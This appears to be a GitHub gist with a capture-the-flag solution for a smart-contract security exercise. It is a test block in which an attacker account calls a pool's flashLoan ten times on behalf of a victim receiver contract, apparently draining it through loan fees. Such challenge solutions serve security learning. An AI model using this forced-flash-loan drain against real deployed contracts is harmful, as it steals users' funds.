Skip to content

Instantly share code, notes, and snippets.

@JuanXavier
Created July 9, 2022 20:48
Show Gist options
  • Select an option

  • Save JuanXavier/20d0fdcc4e70555bea38e9d87eec8cdd to your computer and use it in GitHub Desktop.

Select an option

Save JuanXavier/20d0fdcc4e70555bea38e9d87eec8cdd to your computer and use it in GitHub Desktop.
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
for (i = 1; i <= 10; i++) {
await this.pool.connect(attacker).flashLoan(this.receiver.address, 0)
console.log(i, String(await ethers.provider.getBalance(this.receiver.address)))
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment